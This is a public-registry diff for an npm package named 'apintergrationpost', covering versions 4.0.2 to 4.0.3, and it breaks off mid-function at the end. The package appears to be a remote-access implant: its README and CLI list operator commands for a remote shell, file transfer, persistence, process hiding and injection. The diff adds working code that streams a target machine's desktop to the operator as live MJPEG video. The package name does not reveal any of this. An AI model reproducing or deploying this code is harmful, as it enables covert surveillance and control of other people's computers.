apintergrationpost 4.0.2 → 4.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +17 -0
- package/apintergrationpost.config.json +7 -2
- package/package.json +1 -1
- package/src/client/commands/screen-capture.js +10 -54
- package/src/client/commands/screen-stream.js +201 -0
- package/src/client/plugins/screen-live.js +127 -27
- package/src/server/cli.js +1 -1
- package/src/server/screenViewer.js +102 -17
- package/src/server/session.js +42 -7
- package/src/shared/config.js +7 -2
package/README.md
CHANGED
|
@@ -171,6 +171,23 @@ Native tools (`native/lab-tools/`): `agent_launcher`, `proc_hide`, `injector`, `
|
|
|
171
171
|
|
|
172
172
|
Enable optional telemetry for EDR correlation: `"emulation": { "telemetry": true }` or `--telemetry`.
|
|
173
173
|
|
|
174
|
+
## Live screen / VNC
|
|
175
|
+
|
|
176
|
+
Operator command: `vnc` or `screen` (requires active session). Opens a browser viewer with MJPEG push stream at `/stream`.
|
|
177
|
+
|
|
178
|
+
Quality settings in `screen` config (server `myra.config.json` and client `apintergrationpost.config.json`):
|
|
179
|
+
|
|
180
|
+
| Key | Default | Description |
|
|
181
|
+
|-----|---------|-------------|
|
|
182
|
+
| `fps` | `8` | Target frame rate |
|
|
183
|
+
| `maxWidth` / `maxHeight` | `1920` / `1080` | Resolution cap (aspect preserved) |
|
|
184
|
+
| `jpegQuality` | `4` | ffmpeg `-q:v` (lower = sharper, larger) |
|
|
185
|
+
| `dropFrames` | `true` | Send latest frame only when behind |
|
|
186
|
+
| `minFps` | `4` | Adaptive floor when link is slow |
|
|
187
|
+
| `idleStopSec` | `45` | Stop stream when no browser viewer connected |
|
|
188
|
+
|
|
189
|
+
Uses one persistent ffmpeg process per session (quiet, no per-frame execve storm).
|
|
190
|
+
|
|
174
191
|
## Operator Commands
|
|
175
192
|
|
|
176
193
|
See server `help` for full list. Key emulation commands:
|
|
@@ -48,10 +48,15 @@
|
|
|
48
48
|
"screenLive": true
|
|
49
49
|
},
|
|
50
50
|
"screen": {
|
|
51
|
-
"fps":
|
|
51
|
+
"fps": 8,
|
|
52
|
+
"maxWidth": 1920,
|
|
53
|
+
"maxHeight": 1080,
|
|
54
|
+
"jpegQuality": 4,
|
|
52
55
|
"viewerPort": 5555,
|
|
53
56
|
"display": ":0",
|
|
54
|
-
"
|
|
57
|
+
"dropFrames": true,
|
|
58
|
+
"minFps": 4,
|
|
59
|
+
"idleStopSec": 45
|
|
55
60
|
},
|
|
56
61
|
"lab": {
|
|
57
62
|
"mode": false,
|
package/package.json
CHANGED
|
@@ -1,73 +1,29 @@
|
|
|
1
1
|
'use strict';
|
|
2
2
|
|
|
3
|
-
const {
|
|
4
|
-
const { promisify } = require('util');
|
|
5
|
-
|
|
6
|
-
const execFileAsync = promisify(execFile);
|
|
7
|
-
|
|
8
|
-
function resolveFfmpegPath() {
|
|
9
|
-
try {
|
|
10
|
-
const bundled = require('ffmpeg-static');
|
|
11
|
-
if (bundled && typeof bundled === 'string') return bundled;
|
|
12
|
-
} catch {
|
|
13
|
-
// bundled ffmpeg not available for this platform
|
|
14
|
-
}
|
|
15
|
-
return 'ffmpeg';
|
|
16
|
-
}
|
|
17
|
-
|
|
18
|
-
function collectStdout(proc) {
|
|
19
|
-
return new Promise((resolve, reject) => {
|
|
20
|
-
const chunks = [];
|
|
21
|
-
let stderr = '';
|
|
22
|
-
proc.stdout.on('data', (chunk) => chunks.push(chunk));
|
|
23
|
-
proc.stderr.on('data', (chunk) => { stderr += chunk.toString(); });
|
|
24
|
-
proc.on('error', reject);
|
|
25
|
-
proc.on('close', (code) => {
|
|
26
|
-
if (code === 0) {
|
|
27
|
-
resolve(Buffer.concat(chunks));
|
|
28
|
-
} else {
|
|
29
|
-
reject(new Error(stderr.trim() || `capture exited ${code}`));
|
|
30
|
-
}
|
|
31
|
-
});
|
|
32
|
-
});
|
|
33
|
-
}
|
|
34
|
-
|
|
35
|
-
async function captureWithFfmpeg(display, size) {
|
|
36
|
-
const ffmpegPath = resolveFfmpegPath();
|
|
37
|
-
const [width, height] = size.split('x');
|
|
38
|
-
const proc = spawn(ffmpegPath, [
|
|
39
|
-
'-hide_banner',
|
|
40
|
-
'-loglevel', 'error',
|
|
41
|
-
'-f', 'x11grab',
|
|
42
|
-
'-video_size', `${width}x${height}`,
|
|
43
|
-
'-i', `${display}.0`,
|
|
44
|
-
'-frames:v', '1',
|
|
45
|
-
'-f', 'image2pipe',
|
|
46
|
-
'-vcodec', 'mjpeg',
|
|
47
|
-
'-',
|
|
48
|
-
], {
|
|
49
|
-
env: { ...process.env, DISPLAY: display },
|
|
50
|
-
});
|
|
51
|
-
return collectStdout(proc);
|
|
52
|
-
}
|
|
3
|
+
const { ScreenStream, resolveFfmpegPath } = require('./screen-stream');
|
|
53
4
|
|
|
54
5
|
async function captureFrame(options = {}) {
|
|
55
6
|
const display = options.display || process.env.DISPLAY || ':0';
|
|
56
|
-
const size = options.size || '1280x720';
|
|
57
7
|
|
|
58
8
|
if (!display) {
|
|
59
9
|
throw new Error('No DISPLAY set. A graphical desktop session is required (DISPLAY=:0).');
|
|
60
10
|
}
|
|
61
11
|
|
|
62
12
|
try {
|
|
63
|
-
return await
|
|
13
|
+
return await ScreenStream.captureOnce({
|
|
14
|
+
display,
|
|
15
|
+
fps: 1,
|
|
16
|
+
maxWidth: options.maxWidth || 1920,
|
|
17
|
+
maxHeight: options.maxHeight || 1080,
|
|
18
|
+
jpegQuality: options.jpegQuality || 4,
|
|
19
|
+
});
|
|
64
20
|
} catch (err) {
|
|
65
21
|
throw new Error(
|
|
66
|
-
`Screen capture failed (${display}
|
|
22
|
+
`Screen capture failed (${display}). `
|
|
67
23
|
+ 'Ensure a desktop session is running. '
|
|
68
24
|
+ `Detail: ${err.message}`
|
|
69
25
|
);
|
|
70
26
|
}
|
|
71
27
|
}
|
|
72
28
|
|
|
73
|
-
module.exports = { captureFrame, resolveFfmpegPath };
|
|
29
|
+
module.exports = { captureFrame, resolveFfmpegPath, ScreenStream };
|
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { EventEmitter } = require('events');
|
|
4
|
+
const { spawn } = require('child_process');
|
|
5
|
+
|
|
6
|
+
const SOI = Buffer.from([0xff, 0xd8]);
|
|
7
|
+
const EOI = Buffer.from([0xff, 0xd9]);
|
|
8
|
+
const MAX_FRAME_BYTES = 512 * 1024;
|
|
9
|
+
|
|
10
|
+
function resolveFfmpegPath() {
|
|
11
|
+
try {
|
|
12
|
+
const bundled = require('ffmpeg-static');
|
|
13
|
+
if (bundled && typeof bundled === 'string') return bundled;
|
|
14
|
+
} catch {
|
|
15
|
+
// bundled ffmpeg not available for this platform
|
|
16
|
+
}
|
|
17
|
+
return 'ffmpeg';
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
function buildScaleFilter(maxWidth, maxHeight) {
|
|
21
|
+
return `scale='min(${maxWidth},iw)':'min(${maxHeight},ih)':force_original_aspect_ratio=decrease`;
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
class ScreenStream extends EventEmitter {
|
|
25
|
+
constructor(options = {}) {
|
|
26
|
+
super();
|
|
27
|
+
this.display = options.display || process.env.DISPLAY || ':0';
|
|
28
|
+
this.fps = options.fps || 8;
|
|
29
|
+
this.maxWidth = options.maxWidth || 1920;
|
|
30
|
+
this.maxHeight = options.maxHeight || 1080;
|
|
31
|
+
this.jpegQuality = options.jpegQuality || 4;
|
|
32
|
+
this.proc = null;
|
|
33
|
+
this.buffer = Buffer.alloc(0);
|
|
34
|
+
this.running = false;
|
|
35
|
+
this._stderr = '';
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
start() {
|
|
39
|
+
if (this.running) return;
|
|
40
|
+
|
|
41
|
+
if (!this.display) {
|
|
42
|
+
throw new Error('No DISPLAY set. A graphical desktop session is required (DISPLAY=:0).');
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
const ffmpegPath = resolveFfmpegPath();
|
|
46
|
+
const scaleFilter = buildScaleFilter(this.maxWidth, this.maxHeight);
|
|
47
|
+
|
|
48
|
+
this.proc = spawn(ffmpegPath, [
|
|
49
|
+
'-nostdin',
|
|
50
|
+
'-hide_banner',
|
|
51
|
+
'-loglevel', 'error',
|
|
52
|
+
'-f', 'x11grab',
|
|
53
|
+
'-framerate', String(this.fps),
|
|
54
|
+
'-draw_mouse', '0',
|
|
55
|
+
'-i', `${this.display}.0`,
|
|
56
|
+
'-vf', scaleFilter,
|
|
57
|
+
'-c:v', 'mjpeg',
|
|
58
|
+
'-q:v', String(this.jpegQuality),
|
|
59
|
+
'-huffman', 'optimal',
|
|
60
|
+
'-f', 'mpjpeg',
|
|
61
|
+
'pipe:1',
|
|
62
|
+
], {
|
|
63
|
+
env: { ...process.env, DISPLAY: this.display },
|
|
64
|
+
stdio: ['ignore', 'pipe', 'pipe'],
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
this.running = true;
|
|
68
|
+
this.buffer = Buffer.alloc(0);
|
|
69
|
+
this._stderr = '';
|
|
70
|
+
|
|
71
|
+
this.proc.stdout.on('data', (chunk) => this._onStdout(chunk));
|
|
72
|
+
this.proc.stderr.on('data', (chunk) => {
|
|
73
|
+
this._stderr += chunk.toString();
|
|
74
|
+
});
|
|
75
|
+
|
|
76
|
+
this.proc.on('error', (err) => {
|
|
77
|
+
this.running = false;
|
|
78
|
+
this.emit('error', err);
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
this.proc.on('close', (code) => {
|
|
82
|
+
this.running = false;
|
|
83
|
+
if (code !== 0 && code !== null) {
|
|
84
|
+
const detail = this._stderr.trim() || `ffmpeg exited ${code}`;
|
|
85
|
+
this.emit('error', new Error(detail));
|
|
86
|
+
}
|
|
87
|
+
this.emit('close');
|
|
88
|
+
});
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
stop() {
|
|
92
|
+
if (!this.proc) return;
|
|
93
|
+
const proc = this.proc;
|
|
94
|
+
this.proc = null;
|
|
95
|
+
this.running = false;
|
|
96
|
+
this.buffer = Buffer.alloc(0);
|
|
97
|
+
try {
|
|
98
|
+
proc.kill('SIGTERM');
|
|
99
|
+
} catch {
|
|
100
|
+
// ignore
|
|
101
|
+
}
|
|
102
|
+
setTimeout(() => {
|
|
103
|
+
try {
|
|
104
|
+
if (!proc.killed) proc.kill('SIGKILL');
|
|
105
|
+
} catch {
|
|
106
|
+
// ignore
|
|
107
|
+
}
|
|
108
|
+
}, 2000);
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
setFps(fps) {
|
|
112
|
+
const next = Math.max(1, Math.floor(fps));
|
|
113
|
+
if (next === this.fps || !this.running) {
|
|
114
|
+
this.fps = next;
|
|
115
|
+
return;
|
|
116
|
+
}
|
|
117
|
+
this.fps = next;
|
|
118
|
+
this.stop();
|
|
119
|
+
this.start();
|
|
120
|
+
}
|
|
121
|
+
|
|
122
|
+
bumpQuality() {
|
|
123
|
+
if (this.jpegQuality >= 10) return false;
|
|
124
|
+
this.jpegQuality += 1;
|
|
125
|
+
if (this.running) {
|
|
126
|
+
this.stop();
|
|
127
|
+
this.start();
|
|
128
|
+
}
|
|
129
|
+
return true;
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
_onStdout(chunk) {
|
|
133
|
+
this.buffer = Buffer.concat([this.buffer, chunk]);
|
|
134
|
+
|
|
135
|
+
while (this.buffer.length > 0) {
|
|
136
|
+
const start = this.buffer.indexOf(SOI);
|
|
137
|
+
if (start === -1) {
|
|
138
|
+
this.buffer = Buffer.alloc(0);
|
|
139
|
+
return;
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
if (start > 0) {
|
|
143
|
+
this.buffer = this.buffer.subarray(start);
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
const end = this.buffer.indexOf(EOI, 2);
|
|
147
|
+
if (end === -1) {
|
|
148
|
+
if (this.buffer.length > 8 * 1024 * 1024) {
|
|
149
|
+
this.buffer = Buffer.alloc(0);
|
|
150
|
+
this.emit('error', new Error('MJPEG parser buffer overflow'));
|
|
151
|
+
}
|
|
152
|
+
return;
|
|
153
|
+
}
|
|
154
|
+
|
|
155
|
+
const frame = this.buffer.subarray(0, end + 2);
|
|
156
|
+
this.buffer = this.buffer.subarray(end + 2);
|
|
157
|
+
this._emitFrame(frame);
|
|
158
|
+
}
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
_emitFrame(frame) {
|
|
162
|
+
if (frame.length > MAX_FRAME_BYTES) {
|
|
163
|
+
if (this.bumpQuality()) {
|
|
164
|
+
this.emit('quality-adjusted', { jpegQuality: this.jpegQuality });
|
|
165
|
+
return;
|
|
166
|
+
}
|
|
167
|
+
}
|
|
168
|
+
this.emit('frame', frame);
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
static captureOnce(options = {}) {
|
|
172
|
+
const stream = new ScreenStream(options);
|
|
173
|
+
return new Promise((resolve, reject) => {
|
|
174
|
+
const timeout = setTimeout(() => {
|
|
175
|
+
stream.stop();
|
|
176
|
+
reject(new Error('Screen capture timed out'));
|
|
177
|
+
}, 15000);
|
|
178
|
+
|
|
179
|
+
stream.once('frame', (frame) => {
|
|
180
|
+
clearTimeout(timeout);
|
|
181
|
+
stream.stop();
|
|
182
|
+
resolve(frame);
|
|
183
|
+
});
|
|
184
|
+
|
|
185
|
+
stream.once('error', (err) => {
|
|
186
|
+
clearTimeout(timeout);
|
|
187
|
+
stream.stop();
|
|
188
|
+
reject(err);
|
|
189
|
+
});
|
|
190
|
+
|
|
191
|
+
try {
|
|
192
|
+
stream.start();
|
|
193
|
+
} catch (err) {
|
|
194
|
+
clearTimeout(timeout);
|
|
195
|
+
reject(err);
|
|
196
|
+
}
|
|
197
|
+
});
|
|
198
|
+
}
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
module.exports = { ScreenStream, buildScaleFilter, resolveFfmpegPath };
|
|
@@ -1,37 +1,116 @@
|
|
|
1
1
|
'use strict';
|
|
2
2
|
|
|
3
3
|
const crypto = require('crypto');
|
|
4
|
-
const {
|
|
4
|
+
const { ScreenStream } = require('../commands/screen-stream');
|
|
5
5
|
|
|
6
6
|
const name = 'screen-live';
|
|
7
7
|
const commands = ['screen_start', 'screen_stop', 'screen_status'];
|
|
8
8
|
|
|
9
|
-
let
|
|
9
|
+
let stream = null;
|
|
10
10
|
let screenSessionId = null;
|
|
11
11
|
let frameSeq = 0;
|
|
12
12
|
let activeOptions = null;
|
|
13
|
+
let inFlight = false;
|
|
14
|
+
let pendingFrame = null;
|
|
15
|
+
let skippedFrames = 0;
|
|
16
|
+
let adaptiveSkipMod = 1;
|
|
17
|
+
let frameCounter = 0;
|
|
18
|
+
let lastErrorSentAt = 0;
|
|
19
|
+
let flushScheduled = false;
|
|
13
20
|
|
|
14
21
|
function clearCapture() {
|
|
15
|
-
if (
|
|
16
|
-
|
|
17
|
-
|
|
22
|
+
if (stream) {
|
|
23
|
+
stream.removeAllListeners();
|
|
24
|
+
stream.stop();
|
|
25
|
+
stream = null;
|
|
18
26
|
}
|
|
19
27
|
screenSessionId = null;
|
|
20
28
|
frameSeq = 0;
|
|
21
29
|
activeOptions = null;
|
|
30
|
+
inFlight = false;
|
|
31
|
+
pendingFrame = null;
|
|
32
|
+
skippedFrames = 0;
|
|
33
|
+
adaptiveSkipMod = 1;
|
|
34
|
+
lastErrorSentAt = 0;
|
|
35
|
+
flushScheduled = false;
|
|
22
36
|
}
|
|
23
37
|
|
|
24
|
-
|
|
25
|
-
if (!screenSessionId || !ctx.sendScreenFrame)
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
38
|
+
function flushPending(ctx) {
|
|
39
|
+
if (!pendingFrame || !screenSessionId || !ctx.sendScreenFrame) {
|
|
40
|
+
flushScheduled = false;
|
|
41
|
+
return;
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
const jpegBuffer = pendingFrame;
|
|
45
|
+
pendingFrame = null;
|
|
46
|
+
inFlight = true;
|
|
47
|
+
|
|
48
|
+
ctx.sendScreenFrame(screenSessionId, jpegBuffer.toString('base64'), {
|
|
49
|
+
seq: frameSeq++,
|
|
50
|
+
final: false,
|
|
51
|
+
encoding: 'base64',
|
|
52
|
+
mime: 'image/jpeg',
|
|
53
|
+
byteLength: jpegBuffer.length,
|
|
54
|
+
skipped: skippedFrames,
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
skippedFrames = 0;
|
|
58
|
+
inFlight = false;
|
|
59
|
+
|
|
60
|
+
updateAdaptiveThrottle();
|
|
61
|
+
|
|
62
|
+
if (pendingFrame) {
|
|
63
|
+
setImmediate(() => flushPending(ctx));
|
|
64
|
+
} else {
|
|
65
|
+
flushScheduled = false;
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
function queueFrame(ctx, jpegBuffer) {
|
|
70
|
+
if (pendingFrame) {
|
|
71
|
+
skippedFrames += 1;
|
|
72
|
+
if (skippedFrames % 8 === 0) {
|
|
73
|
+
updateAdaptiveThrottle();
|
|
74
|
+
}
|
|
75
|
+
}
|
|
76
|
+
pendingFrame = jpegBuffer;
|
|
77
|
+
|
|
78
|
+
if (!flushScheduled) {
|
|
79
|
+
flushScheduled = true;
|
|
80
|
+
setImmediate(() => flushPending(ctx));
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
function updateAdaptiveThrottle() {
|
|
85
|
+
if (!activeOptions || !stream) return;
|
|
86
|
+
|
|
87
|
+
const minFps = activeOptions.minFps || 4;
|
|
88
|
+
|
|
89
|
+
if (skippedFrames >= 8) {
|
|
90
|
+
adaptiveSkipMod = Math.min(4, adaptiveSkipMod + 1);
|
|
91
|
+
const effectiveFps = Math.max(minFps, Math.floor(activeOptions.fps / adaptiveSkipMod));
|
|
92
|
+
if (stream.fps !== effectiveFps) {
|
|
93
|
+
stream.setFps(effectiveFps);
|
|
94
|
+
}
|
|
95
|
+
} else if (skippedFrames === 0 && adaptiveSkipMod > 1) {
|
|
96
|
+
adaptiveSkipMod -= 1;
|
|
97
|
+
const effectiveFps = Math.max(minFps, Math.floor(activeOptions.fps / adaptiveSkipMod));
|
|
98
|
+
if (stream.fps !== effectiveFps) {
|
|
99
|
+
stream.setFps(effectiveFps);
|
|
100
|
+
}
|
|
101
|
+
}
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
function onStreamFrame(ctx, jpegBuffer) {
|
|
105
|
+
queueFrame(ctx, jpegBuffer);
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
function onStreamError(ctx, err) {
|
|
109
|
+
const now = Date.now();
|
|
110
|
+
if (now - lastErrorSentAt < 5000) return;
|
|
111
|
+
lastErrorSentAt = now;
|
|
112
|
+
|
|
113
|
+
if (screenSessionId && ctx.sendScreenFrame) {
|
|
35
114
|
ctx.sendScreenFrame(screenSessionId, '', {
|
|
36
115
|
seq: frameSeq++,
|
|
37
116
|
final: false,
|
|
@@ -50,15 +129,22 @@ async function execute(msg, ctx) {
|
|
|
50
129
|
}
|
|
51
130
|
|
|
52
131
|
if (cmd === 'screen_start') {
|
|
53
|
-
if (
|
|
132
|
+
if (stream && stream.running) {
|
|
54
133
|
return { action: 'continue', status: 'error', body: 'Live screen already running' };
|
|
55
134
|
}
|
|
56
135
|
|
|
57
136
|
const meta = msg.meta || {};
|
|
58
|
-
const fps = Math.min(Math.max(Number(meta.fps || screenConf.fps ||
|
|
137
|
+
const fps = Math.min(Math.max(Number(meta.fps || screenConf.fps || 8), 1), 15);
|
|
138
|
+
const minFps = Math.min(Math.max(Number(meta.minFps || screenConf.minFps || 4), 1), fps);
|
|
139
|
+
|
|
59
140
|
activeOptions = {
|
|
60
141
|
display: meta.display || screenConf.display || process.env.DISPLAY || ':0',
|
|
61
|
-
|
|
142
|
+
fps,
|
|
143
|
+
minFps,
|
|
144
|
+
maxWidth: Number(meta.maxWidth || screenConf.maxWidth || 1920),
|
|
145
|
+
maxHeight: Number(meta.maxHeight || screenConf.maxHeight || 1080),
|
|
146
|
+
jpegQuality: Number(meta.jpegQuality || screenConf.jpegQuality || 4),
|
|
147
|
+
dropFrames: meta.dropFrames !== undefined ? meta.dropFrames : screenConf.dropFrames !== false,
|
|
62
148
|
};
|
|
63
149
|
|
|
64
150
|
ctx.labEvent({
|
|
@@ -70,26 +156,35 @@ async function execute(msg, ctx) {
|
|
|
70
156
|
screenSessionId = crypto.randomBytes(4).toString('hex');
|
|
71
157
|
frameSeq = 0;
|
|
72
158
|
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
159
|
+
stream = new ScreenStream(activeOptions);
|
|
160
|
+
stream.on('frame', (frame) => onStreamFrame(ctx, frame));
|
|
161
|
+
stream.on('error', (err) => onStreamError(ctx, err));
|
|
162
|
+
|
|
163
|
+
try {
|
|
164
|
+
stream.start();
|
|
165
|
+
} catch (err) {
|
|
166
|
+
clearCapture();
|
|
167
|
+
return { action: 'continue', status: 'error', body: err.message };
|
|
168
|
+
}
|
|
77
169
|
|
|
78
170
|
return {
|
|
79
171
|
action: 'continue',
|
|
80
172
|
status: 'ok',
|
|
81
|
-
body: `Live screen started (${fps} fps,
|
|
173
|
+
body: `Live screen started (${fps} fps, ${activeOptions.maxWidth}x${activeOptions.maxHeight} max, q:${activeOptions.jpegQuality})`,
|
|
82
174
|
meta: {
|
|
83
175
|
screenSessionId,
|
|
84
176
|
fps,
|
|
177
|
+
minFps,
|
|
85
178
|
display: activeOptions.display,
|
|
86
|
-
|
|
179
|
+
maxWidth: activeOptions.maxWidth,
|
|
180
|
+
maxHeight: activeOptions.maxHeight,
|
|
181
|
+
jpegQuality: activeOptions.jpegQuality,
|
|
87
182
|
},
|
|
88
183
|
};
|
|
89
184
|
}
|
|
90
185
|
|
|
91
186
|
if (cmd === 'screen_stop') {
|
|
92
|
-
if (!
|
|
187
|
+
if (!stream || !stream.running) {
|
|
93
188
|
return { action: 'continue', status: 'error', body: 'Live screen is not running' };
|
|
94
189
|
}
|
|
95
190
|
|
|
@@ -107,9 +202,14 @@ async function execute(msg, ctx) {
|
|
|
107
202
|
action: 'continue',
|
|
108
203
|
status: 'ok',
|
|
109
204
|
body: JSON.stringify({
|
|
110
|
-
active: !!
|
|
205
|
+
active: !!(stream && stream.running),
|
|
111
206
|
screenSessionId,
|
|
112
207
|
options: activeOptions,
|
|
208
|
+
frameSeq,
|
|
209
|
+
skippedFrames,
|
|
210
|
+
adaptiveSkipMod,
|
|
211
|
+
streamFps: stream ? stream.fps : null,
|
|
212
|
+
jpegQuality: stream ? stream.jpegQuality : null,
|
|
113
213
|
}, null, 2),
|
|
114
214
|
};
|
|
115
215
|
}
|
package/src/server/cli.js
CHANGED
|
@@ -57,7 +57,7 @@ Session commands (requires active session):
|
|
|
57
57
|
shell Interactive PTY shell
|
|
58
58
|
<shell_command> One-shot shell execution
|
|
59
59
|
sysinfo / ps / netstat / find
|
|
60
|
-
screen / vnc Live screen in browser (Press Enter to stop)
|
|
60
|
+
screen / vnc Live screen in browser (MJPEG /stream, Press Enter to stop)
|
|
61
61
|
screen_stop Stop live screen stream
|
|
62
62
|
cd / download / upload
|
|
63
63
|
persist Baseline persistence (legacy systemd)
|
|
@@ -1,14 +1,67 @@
|
|
|
1
1
|
'use strict';
|
|
2
2
|
|
|
3
3
|
const http = require('http');
|
|
4
|
+
const { EventEmitter } = require('events');
|
|
4
5
|
|
|
5
|
-
|
|
6
|
+
const BOUNDARY = 'frame';
|
|
7
|
+
|
|
8
|
+
function writeMultipartFrame(res, frameBuffer) {
|
|
9
|
+
if (res.destroyed || res.writableEnded) return false;
|
|
10
|
+
try {
|
|
11
|
+
res.write(`--${BOUNDARY}\r\n`);
|
|
12
|
+
res.write('Content-Type: image/jpeg\r\n');
|
|
13
|
+
res.write(`Content-Length: ${frameBuffer.length}\r\n\r\n`);
|
|
14
|
+
res.write(frameBuffer);
|
|
15
|
+
res.write('\r\n');
|
|
16
|
+
return true;
|
|
17
|
+
} catch {
|
|
18
|
+
return false;
|
|
19
|
+
}
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
function createScreenViewer(port = 5555, options = {}) {
|
|
23
|
+
const emitter = new EventEmitter();
|
|
6
24
|
let latestFrame = null;
|
|
25
|
+
let latestFrameBinary = null;
|
|
7
26
|
let lastError = null;
|
|
8
27
|
let frameCount = 0;
|
|
28
|
+
const streamClients = new Set();
|
|
29
|
+
let idleTimer = null;
|
|
30
|
+
const idleStopSec = options.idleStopSec || 45;
|
|
31
|
+
|
|
32
|
+
function clearIdleTimer() {
|
|
33
|
+
if (idleTimer) {
|
|
34
|
+
clearTimeout(idleTimer);
|
|
35
|
+
idleTimer = null;
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
function scheduleIdleStop() {
|
|
40
|
+
clearIdleTimer();
|
|
41
|
+
if (streamClients.size > 0) return;
|
|
42
|
+
idleTimer = setTimeout(() => {
|
|
43
|
+
idleTimer = null;
|
|
44
|
+
emitter.emit('idle');
|
|
45
|
+
}, idleStopSec * 1000);
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
function removeStreamClient(res) {
|
|
49
|
+
streamClients.delete(res);
|
|
50
|
+
scheduleIdleStop();
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
function pushFrameToClients(frameBuffer) {
|
|
54
|
+
for (const client of streamClients) {
|
|
55
|
+
if (!writeMultipartFrame(client, frameBuffer)) {
|
|
56
|
+
streamClients.delete(client);
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
}
|
|
9
60
|
|
|
10
61
|
const server = http.createServer((req, res) => {
|
|
11
|
-
|
|
62
|
+
const url = req.url.split('?')[0];
|
|
63
|
+
|
|
64
|
+
if (url === '/' || url === '/index.html') {
|
|
12
65
|
res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
|
|
13
66
|
res.end(`<!DOCTYPE html>
|
|
14
67
|
<html>
|
|
@@ -24,35 +77,51 @@ function createScreenViewer(port = 5555) {
|
|
|
24
77
|
</head>
|
|
25
78
|
<body>
|
|
26
79
|
<header>Myra live screen — frames: <span id="n">0</span></header>
|
|
27
|
-
<img id="frame" alt="live screen">
|
|
80
|
+
<img id="frame" src="/stream" alt="live screen">
|
|
28
81
|
<div id="err" class="err"></div>
|
|
29
82
|
<script>
|
|
30
|
-
const img = document.getElementById('frame');
|
|
31
83
|
const err = document.getElementById('err');
|
|
32
84
|
const n = document.getElementById('n');
|
|
33
|
-
|
|
85
|
+
const img = document.getElementById('frame');
|
|
86
|
+
img.addEventListener('load', () => { err.textContent = ''; });
|
|
87
|
+
img.addEventListener('error', () => { err.textContent = 'Stream unavailable — waiting for frames...'; });
|
|
88
|
+
setInterval(async () => {
|
|
34
89
|
try {
|
|
35
90
|
const r = await fetch('/frame?' + Date.now());
|
|
36
91
|
if (r.status === 204) return;
|
|
37
|
-
if (!r.ok)
|
|
92
|
+
if (!r.ok) return;
|
|
38
93
|
const j = await r.json();
|
|
39
94
|
if (j.error) { err.textContent = j.error; return; }
|
|
40
|
-
err.textContent = '';
|
|
41
|
-
img.src = 'data:image/jpeg;base64,' + j.frame;
|
|
42
95
|
n.textContent = j.count;
|
|
43
|
-
} catch
|
|
44
|
-
|
|
45
|
-
}
|
|
46
|
-
}
|
|
47
|
-
setInterval(tick, 200);
|
|
48
|
-
tick();
|
|
96
|
+
} catch { /* ignore */ }
|
|
97
|
+
}, 1000);
|
|
49
98
|
</script>
|
|
50
99
|
</body>
|
|
51
100
|
</html>`);
|
|
52
101
|
return;
|
|
53
102
|
}
|
|
54
103
|
|
|
55
|
-
if (
|
|
104
|
+
if (url === '/stream') {
|
|
105
|
+
res.writeHead(200, {
|
|
106
|
+
'Content-Type': `multipart/x-mixed-replace; boundary=${BOUNDARY}`,
|
|
107
|
+
'Cache-Control': 'no-cache, no-store, must-revalidate',
|
|
108
|
+
'Connection': 'keep-alive',
|
|
109
|
+
'Pragma': 'no-cache',
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
streamClients.add(res);
|
|
113
|
+
clearIdleTimer();
|
|
114
|
+
|
|
115
|
+
if (latestFrameBinary) {
|
|
116
|
+
writeMultipartFrame(res, latestFrameBinary);
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
req.on('close', () => removeStreamClient(res));
|
|
120
|
+
res.on('error', () => removeStreamClient(res));
|
|
121
|
+
return;
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
if (url.startsWith('/frame')) {
|
|
56
125
|
if (lastError && !latestFrame) {
|
|
57
126
|
res.writeHead(200, { 'Content-Type': 'application/json', 'Cache-Control': 'no-store' });
|
|
58
127
|
res.end(JSON.stringify({ error: lastError, count: frameCount }));
|
|
@@ -72,8 +141,12 @@ function createScreenViewer(port = 5555) {
|
|
|
72
141
|
res.end();
|
|
73
142
|
});
|
|
74
143
|
|
|
75
|
-
|
|
144
|
+
const viewer = {
|
|
76
145
|
port,
|
|
146
|
+
url: `http://127.0.0.1:${port}/`,
|
|
147
|
+
on(event, fn) {
|
|
148
|
+
emitter.on(event, fn);
|
|
149
|
+
},
|
|
77
150
|
start() {
|
|
78
151
|
return new Promise((resolve, reject) => {
|
|
79
152
|
server.once('error', reject);
|
|
@@ -81,6 +154,15 @@ function createScreenViewer(port = 5555) {
|
|
|
81
154
|
});
|
|
82
155
|
},
|
|
83
156
|
stop() {
|
|
157
|
